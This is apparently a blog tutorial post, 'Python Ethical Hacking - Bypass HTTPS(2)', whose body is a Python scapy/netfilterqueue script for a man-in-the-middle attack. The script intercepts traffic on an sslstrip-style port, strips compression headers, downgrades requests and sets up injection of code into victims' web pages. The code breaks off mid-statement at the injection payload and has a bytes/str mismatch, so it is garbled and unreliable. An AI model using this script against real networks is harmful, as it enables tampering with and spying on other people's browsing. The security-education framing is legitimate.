Python Ethical Hacking - Bypass HTTPS(2)

2020-12-13 15:29

阅读:337

标签:payload   set   ack   from   eth   env   usr   ica   group   

Injecting Code in HTTPS Pages:

#!/usr/bin/env python
import re

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import TCP, IP
from scapy.packet import Raw


def set_load(packet, load):
    packet[Raw].load = load
    del packet[IP].len
    del packet[IP].chksum
    del packet[TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
        load = scapy_packet[Raw].load
        if scapy_packet[TCP].dport == 10000:
            print("[+] Request")
            print(scapy_packet.show())
            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
        elif scapy_packet[TCP].sport == 10000:
            print("[+] Response")
            injection_code = b
            load = load.replace(b"


评论


亲,登录后才可以留言!